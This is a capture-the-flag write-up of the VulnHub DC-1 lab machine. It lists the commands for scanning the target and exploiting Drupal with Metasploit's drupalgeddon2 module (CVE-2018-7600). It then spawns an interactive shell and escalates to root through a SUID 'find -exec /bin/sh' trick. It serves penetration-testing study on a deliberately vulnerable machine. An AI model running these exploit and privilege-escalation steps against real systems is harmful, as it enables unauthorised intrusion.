Vulnerability Assessment and Exploitation Write-Up

Machine: DC-1 – VulnHub

Prepared by: Melisa Sarıtaş

Table of Contents

1. Introduction

Drupal[1] is a popular open-source content management system (CMS) used by organizations, businesses, and governments to build and manage websites and applications. Its flexibility and ability to handle complex content structures have made it a common choice for large-scale platforms. Due to its widespread use and complexity, Drupal is also a frequent target in cybersecurity challenges.[2] In this machine, the target runs a vulnerable version of Drupal.

The machine used to solve the target machine[3] is Kali Linux[4], while the target machine itself is based on Debian 32-bit. To solve the machine, download the target machine from the website[3], extract the ZIP file, and import the virtual machine into VirtualBox[5] or VMware[6].

2. Solution Overview

The solution consists of four steps: reconnaissance, exploitation, establishing a reverse shell, and privilege escalation. Each of these steps will be explained in detail in the following sections.

2.1. Reconnaissance

Scan the network to find the target ip address using Command 1.

netdiscover

Command 1

Scan the target with using Command 2. Use *-sV* option to probe open ports to determine service/version info.

nmap -sV <target-ip>

Command 2

From the output, it can be seen that the open ports are 22, 80 and 111, corresponding to the SSH, HTTP, and RPC services.

2.2. Exploitation

Access the HTTP service through a web browser. It will be observed that a Drupal site is running, indicating the presence of a Drupal CMS. Use Metasploit [7] to check for vulnerabilities on the website. Use Command 3 to search for exploits applicable to the target site.

msfconsole

search type:exploit platform:drupal

Command 3

Try each exploit one by one until successful. The successful exploit is in Command 4.

use exploit/unix/webapp/drupal_drupalgeddon2

set rhosts <target-ip>

run

Command 4

The exploit in Command 4 targets a remote code execution (CVE-2018-7600). Upon success, it is being connected to meterpreter which is a metasploit payload that allows to maintain a session with the target.

2.3. Establishing a Reverse Shell

Open a shell using Command 5 and to have a more interactive shell, use Command 6.

shell

Command 5

python -c 'import pty; pty.spawn("/bin/bash")' (-c means commandline)

Command 6

The SUID bit enables a program to run with root privileges, regardless of which user executes it. To find any misconfigured SUID files that could allow privilege escalation, run Command 7 to list all files with the SUID bit set.

find / -perm -u=s -type f 2>/dev/null

Command 7

2.4. Privilege Escalation

From the output of Command 7, choose *find* command as a potential path to privilege escalation. The *-exec* option in *find* can be used to achieve it. Create a random file and verify if privilege escalation occurs using Command 8.

touch <random-file-name>

find <random-file-name> -exec "whoami" \;

Command 8

The output will verify that privilege escalation is successful. Use Command 9 to open a new terminal session with the privileges of root user.

find <random-file-name> -exec "/bin/sh" \;

Command 9

Use Command 10 to check the root directory and find the flag.

cd /root

cat thefinalflag.txt

Command 10

3. References

[1] https://new.drupal.org/home
[2] https://en.wikipedia.org/wiki/Drupal
[3] https://www.vulnhub.com/entry/dc-1,292/
[4] https://www.kali.org/
[5] https://www.virtualbox.org/
[6] https://www.vmware.com/
[7] https://www.metasploit.com/